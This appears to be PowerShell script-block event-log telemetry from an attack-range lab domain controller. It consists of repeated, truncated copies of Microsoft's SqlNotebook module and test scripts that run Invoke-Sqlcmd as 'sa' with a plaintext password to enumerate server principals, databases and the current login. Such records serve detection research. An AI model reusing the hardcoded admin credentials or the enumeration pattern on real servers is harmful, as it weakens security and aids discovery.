$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken b79ae755-6b57-471e-8004-09ae38d259c8C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0511957Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificatecce8dd78-f983-4323-8f3c-366ed4eac196
4104152150x0511751Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate8851003d-f6f4-48c0-b00d-59011a49e510
4104152150x0511545Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate8a56013d-5c03-450c-b4f9-4167cbfa2b15
4104152150x0511344Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
a5dbf404-0e84-4fe7-95e3-4cc40295e11cC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0511338Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate458cb8fb-88eb-4c0e-9a8e-b4e1a1f7cbfe
4104152150x0511142Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11function Invoke-SqlTest {
param (
[string]$Query,
[string]$Description,
[ValidateSet('Invoke-Sqlcmd', 'sqlcmd.exe')]
[string]$Method
)
Write-Host "`nExecuting: $Description using $Method" -ForegroundColor Cyan
try {
if ($Method -eq 'sqlcmd.exe') {
& sqlcmd -S $Server -d $Database -U $Username -P $Password -Q $Query -b
Write-Host "Test completed successfully" -ForegroundColor Green
return $true
} else {
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -Username $Username -Password $Password `
-Query $Query -TrustServerCertificate
Write-Host "Test completed successfully" -ForegroundColor Green
return $true
}
}
catch {
Write-Host "Test failed: $_" -ForegroundColor Red
return $false
}
}de84aba0-a3f6-46f9-8e9f-e500ce2959e4C:\Users\Administrator\Desktop\sqlcmd.ps1
4104152150x0511061Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificateee6404af-568f-46bf-9661-53c56b7f4116
4104152150x0510859Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCod41eda17-c7bf-4fc0-a512-80b557cb1929C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0510853Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate559bc009-54ac-47c8-b59a-0b90d5d8f6d0
4104152150x0510651Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.c1ecfd285-15f6-4cd6-b25f-7a2e51da989fC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0510645Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificated065a9f9-29b9-4629-b94e-b98d7cf79657
4104152150x0510444Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
